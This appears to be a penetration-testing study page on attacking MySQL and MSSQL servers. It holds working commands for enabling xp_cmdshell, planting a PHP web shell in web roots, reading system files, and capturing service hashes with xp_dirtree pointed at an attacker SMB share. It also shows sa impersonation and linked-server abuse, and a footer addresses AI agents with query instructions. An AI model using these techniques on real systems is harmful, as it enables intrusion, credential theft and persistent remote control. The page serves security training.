# SQL [MySQL](https://www.mysql.com/) and [Microsoft SQL Server](https://www.microsoft.com/en-us/sql-server/sql-server-2019) (`MSSQL`) are [relational database](https://en.wikipedia.org/wiki/Relational_database) management systems that store data in tables, columns, and rows. ## Enumeration By default, MSSQL uses ports `TCP/1433` and `UDP/1434`, and MySQL uses `TCP/3306`. However, when MSSQL operates in a "hidden" mode, it uses the `TCP/2433` port. We can use `Nmap`'s default scripts `-sC` option to enumerate database services on a target system: ```bash nmap -Pn -sV -sC -p1433 ``` ## Authentication Mechanisms `MSSQL` supports two [authentication modes](https://docs.microsoft.com/en-us/sql/connect/ado-net/sql/authentication-sql-server), which means that users can be created in Windows or the SQL Server:
Authentication TypeDescription
Windows authentication modeThis is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.
Mixed modeMixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.
`MySQL` also supports different [authentication methods](https://dev.mysql.com/doc/internals/en/authentication-method.html), such as username and password, as well as Windows authentication (a plugin is required). In addition, administrators can [choose an authentication mode](https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode) for many reasons, including compatibility, security, usability, and more. However, depending on which method is implemented, misconfigurations can occur ## **Misconfigurations** Misconfigured authentication in SQL Server can let us access the service without credentials if anonymous access is enabled, a user without a password is configured, or any user, group, or machine is allowed to access the SQL Server. ### **Privileges** Depending on the user's privileges, we may be able to perform different actions within a SQL Server, such as: * Read or change the contents of a database * Read or change the server configuration * Execute commands * Read local files * Communicate with other databases * Capture the local system hash * Impersonate existing users * Gain access to other networks ## Protocol Specific Attacks ### **Read/Change the Database** ```bash mysql -u julio -pPassword123 -h ``` ```bash sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30 ``` {% hint style="info" %} When we authenticate to MSSQL using `sqlcmd` we can use the parameters `-y` (SQLCMDMAXVARTYPEWIDTH) and `-Y` (SQLCMDMAXFIXEDTYPEWIDTH) for better looking output. Keep in mind it may affect performance. {% endhint %} sqlcmd installation: [Microsoft Site](https://learn.microsoft.com/en-us/sql/tools/sqlcmd/sqlcmd-utility?view=sql-server-linux-ver15\&tabs=go%2Clinux\&pivots=cs1-bash#download-and-install-sqlcmd) (On Kali I manually had to add this `deb [arch=amd64,armhf,arm64] https://packages.microsoft.com/ubuntu/22.04/prod jammy main` to the `/etc/apt/sources.list` file) If we are targetting `MSSQL` from Linux, we can use `sqsh` as an alternative to `sqlcmd`: ```bash sqsh -S -U julio -P 'MyPassword!' -h ``` Alternatively, we can use the tool from Impacket with the name `mssqlclient.py`. ```shell-session mssqlclient.py -p 1433 julio@ ``` {% hint style="info" %} When we authenticate to MSSQL using `sqsh` we can use the parameters `-h` to disable headers and footers for a cleaner look. {% endhint %} For domain accounts use the full domain, for local accounts use `SERVERNAME\\accountname` or `.\\accountname` ```bash sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h ``` ### **SQL Default Databases** `MySQL` default system schemas/databases: * `mysql` - is the system database that contains tables that store information required by the MySQL server * `information_schema` - provides access to database metadata * `performance_schema` - is a feature for monitoring MySQL Server execution at a low level * `sys` - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema `MSSQL` default system schemas/databases: * `master` - keeps the information for an instance of SQL Server. * `msdb` - used by SQL Server Agent. * `model` - a template database copied for each new database. * `resource` - a read-only database that keeps system objects visible in every database on the server in sys schema. * `tempdb` - keeps temporary objects for SQL queries. ### MySQL useful syntax (If we use `sqlcmd`, we will need to use `GO` after our query to execute the SQL syntax.) `mysql` tool: ```shell-session SHOW DATABASES; USE htbusers; SHOW TABLES; SELECT * FROM users; ``` ### MSSQL useful syntax `sqlcmd` tool (remember to write `GO`): ```cmd-session SELECT name FROM master.dbo.sysdatabases USE htbusers SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES SELECT * FROM users ``` ## Execute Commands `MSSQL` has a [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/database-engine-extended-stored-procedures-programming?view=sql-server-ver15) called [xp\_cmdshell](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15) which allow us to execute system commands using SQL. Keep in mind the following about `xp_cmdshell`: * `xp_cmdshell` is a powerful feature and disabled by default. `xp_cmdshell` can be enabled and disabled by using the [Policy-Based Management](https://docs.microsoft.com/en-us/sql/relational-databases/security/surface-area-configuration) or by executing [sp\_configure](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option) * The Windows process spawned by `xp_cmdshell` has the same security rights as the SQL Server service account * `xp_cmdshell` operates synchronously. Control is not returned to the caller until the command-shell command is completed `sqlcmd` command: ```cmd-session xp_cmdshell 'whoami' GO ``` If `xp_cmdshell` is not enabled, we can enable it, if we have the appropriate privileges, using the following ```mssql -- To allow advanced options to be changed. EXECUTE sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable the feature. EXECUTE sp_configure 'xp_cmdshell', 1 GO -- To update the currently configured value for this feature. RECONFIGURE GO ``` There are other methods to get command execution, such as adding [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), and [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). However, besides those methods there are also additional functionalities that can be used like the `xp_regwrite` command that is used to elevate privileges by creating new entries in the Windows registry. Nevertheless, those methods are outside the scope of this module. `MySQL` supports [User Defined Functions](https://dotnettutorials.net/lesson/user-defined-functions-in-mysql/) which allows us to execute C/C++ code as a function within SQL, there's one User Defined Function for command execution in this [GitHub repository](https://github.com/mysqludf/lib_mysqludf_sys). It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it. ## Write Local Files ```shell-session SELECT "" INTO OUTFILE '/var/www/html/webshell.php'; ``` In `MySQL`, a global system variable [secure\_file\_priv](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv) limits the effect of data import and export operations, such as those performed by the `LOAD DATA` and `SELECT … INTO OUTFILE` statements and the [LOAD\_FILE()](https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_load-file) function. These operations are permitted only to users who have the [FILE](https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html#priv_file) privilege. `secure_file_priv` may be set as follows: * If empty, the variable has no effect, which is not a secure setting. * If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it. * If set to NULL, the server disables import and export operations. ```shell-session show variables like "secure_file_priv"; ``` To write files using `MSSQL`, we need to enable [Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), which requires admin privileges, and then execute some stored procedures to create the file (`sqlcmd`): ```cmd-session sp_configure 'show advanced options', 1 GO RECONFIGURE GO sp_configure 'Ole Automation Procedures', 1 GO RECONFIGURE GO ``` 
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
## Read Local Files By default, `MSSQL` allows file read on any file in the operating system to which the account has read access. We can use the following SQL query: ```cmd-session SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents GO ``` by default a `MySQL` installation does not allow arbitrary file read, but if the correct settings are in place and with the appropriate privileges, we can read files using the following methods: ```shell-session select LOAD_FILE("/etc/passwd"); ``` ## Capture MSSQL Service Hash We can also steal the MSSQL service account hash using `xp_subdirs` or `xp_dirtree` undocumented stored procedures, which use the SMB protocol to retrieve a list of child directories under a specified parent directory from the file system. To make this work, we need first to start [Responder](https://github.com/lgandx/Responder) or [impacket-smbserver](https://github.com/SecureAuthCorp/impacket) and execute one of the following SQL queries: `sqlcmd`: ```cmd-session EXEC master..xp_dirtree '\\10.10.110.17\share\' GO ``` ```cmd-session EXEC master..xp_subdirs '\\10.10.110.17\share\' GO ``` If the service account has access to our server, we will obtain its hash. We can then attempt to crack the hash or relay it to another host. ## Impersonate Existing Users with MSSQL SQL Server has a special permission, named `IMPERSONATE`, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends. **Identify Users that We Can Impersonate** ```cmd-session SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' GO ``` To get an idea of privilege escalation possibilities, let's verify if our current user has the sysadmin role: ```cmd-session SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') go ``` As the returned value `0` indicates, we do not have the sysadmin role, but we can impersonate other users. ```cmd-session EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') GO ``` {% hint style="warning" %} It's recommended to run `EXECUTE AS LOGIN` within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn't have access to the DB you are connecting to it will present an error. Try to move to the master DB using `USE master`. {% endhint %} We can now execute any command as a sysadmin as the returned value `1` indicates. To revert the operation and return to our previous user, we can use the Transact-SQL statement `REVERT`. {% hint style="info" %} If we find a user who is not sysadmin, we can still check if the user has access to other databases or linked servers {% endhint %} ## Communicate with Other Databases with MSSQL `MSSQL` has a configuration option called [linked servers](https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/create-linked-servers-sql-server-database-engine). Linked servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle. **Identify linked Servers in MSSQL** ```cmd-session 1> SELECT srvname, isremote FROM sysservers 2> GO ``` Next, we can attempt to identify the user used for the connection and its privileges. The [EXECUTE](https://docs.microsoft.com/en-us/sql/t-sql/language-elements/execute-transact-sql) statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets (`[ ]`). ```cmd-session 1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS] 2> GO ``` {% hint style="info" %} If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;). {% endhint %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://docs.rtlcopymemory.com/attacking-common-services/sql.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.